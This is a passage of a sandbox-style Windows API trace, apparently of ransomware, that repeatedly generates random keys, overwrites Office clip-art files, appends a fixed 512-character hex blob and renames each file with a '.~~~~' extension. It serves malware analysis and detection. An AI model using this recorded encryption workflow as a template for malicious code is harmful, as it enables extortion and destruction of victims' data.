	[0089.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce8c0 | out: hHeap=0x300000) returned 1
	[0089.006] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.006] GetLastError () returned 0x0
	[0089.006] GetLastError () returned 0x0
	[0089.006] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.006] GetLastError () returned 0x0
	[0089.006] GetLastError () returned 0x0
	[0089.008] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffc7a4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.008] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x385c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x385c, lpOverlapped=0x0) returned 1
	[0089.008] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.008] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.008] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.009] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.009] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.009] CloseHandle (hObject=0x11c) returned 1
	[0089.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce818
	[0089.009] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.~~~~")) returned 1
	[0089.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce818 | out: hHeap=0x300000) returned 1
	[0089.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.009] GetLastError () returned 0x0
	[0089.010] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0089.010] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.010] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.011] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20900067550) returned 1
	[0089.011] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9eda3a70, dwHighDateTime=0x1d60e1e)) 
	[0089.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5658
	[0089.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0089.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5658 | out: hHeap=0x300000) returned 1
	[0089.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0089.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce818
	[0089.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0089.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce818 | out: hHeap=0x300000) returned 1
	[0089.011] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.011] GetLastError () returned 0x0
	[0089.011] GetLastError () returned 0x0
	[0089.011] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.011] GetLastError () returned 0x0
	[0089.012] GetLastError () returned 0x0
	[0089.013] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe460, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.013] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x1ba0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x1ba0, lpOverlapped=0x0) returned 1
	[0089.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.013] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.014] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.014] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.014] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.014] CloseHandle (hObject=0x11c) returned 1
	[0089.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.014] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.~~~~")) returned 1
	[0089.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.014] GetLastError () returned 0x0
	[0089.015] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0089.015] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.015] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.015] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.016] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20900569101) returned 1
	[0089.016] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9eda3a70, dwHighDateTime=0x1d60e1e)) 
	[0089.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2c88
	[0089.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0089.016] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2c88 | out: hHeap=0x300000) returned 1
	[0089.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.016] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0089.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.016] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7f70
	[0089.016] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.016] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.016] GetLastError () returned 0x0
	[0089.016] GetLastError () returned 0x0
	[0089.016] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.016] GetLastError () returned 0x0
	[0089.016] GetLastError () returned 0x0
	[0089.189] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff9c4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.197] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x63c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x63c, lpOverlapped=0x0) returned 1
	[0089.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.206] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.206] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.207] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.207] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.207] CloseHandle (hObject=0x11c) returned 1
	[0089.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.207] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.~~~~")) returned 1
	[0089.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.208] GetLastError () returned 0x0
	[0089.208] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0089.209] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0089.210] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.210] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0089.210] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.210] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.210] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20919985002) returned 1
	[0089.210] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9ef46990, dwHighDateTime=0x1d60e1e)) 
	[0089.210] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.210] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.210] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.210] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2828
	[0089.210] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0089.210] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2828 | out: hHeap=0x300000) returned 1
	[0089.210] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.210] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0089.210] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.210] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.210] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bf00
	[0089.210] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.210] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.211] GetLastError () returned 0x0
	[0089.211] GetLastError () returned 0x0
	[0089.211] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.211] GetLastError () returned 0x0
	[0089.211] GetLastError () returned 0x0
	[0089.213] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff3b8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.213] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xc48, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0xc48, lpOverlapped=0x0) returned 1
	[0089.214] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.214] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.214] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.214] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.214] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.214] CloseHandle (hObject=0x11c) returned 1
	[0089.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.215] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.~~~~")) returned 1
	[0089.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.215] GetLastError () returned 0x0
	[0089.216] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0089.217] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0089.217] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.217] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0089.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.218] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20920769188) returned 1
	[0089.218] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9ef46990, dwHighDateTime=0x1d60e1e)) 
	[0089.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b27f0
	[0089.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b27f0 | out: hHeap=0x300000) returned 1
	[0089.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c030
	[0089.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.218] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.218] GetLastError () returned 0x0
	[0089.219] GetLastError () returned 0x0
	[0089.219] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.219] GetLastError () returned 0x0
	[0089.219] GetLastError () returned 0x0
	[0089.221] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe20c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.221] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x1df4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x1df4, lpOverlapped=0x0) returned 1
	[0089.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.221] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.222] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.222] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.222] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.222] CloseHandle (hObject=0x11c) returned 1
	[0089.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.222] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.~~~~")) returned 1
	[0089.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.223] GetLastError () returned 0x0
	[0089.223] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0089.224] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0089.224] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0089.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.224] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20921463042) returned 1
	[0089.225] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9ef6caf0, dwHighDateTime=0x1d60e1e)) 
	[0089.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b27b8
	[0089.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b27b8 | out: hHeap=0x300000) returned 1
	[0089.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
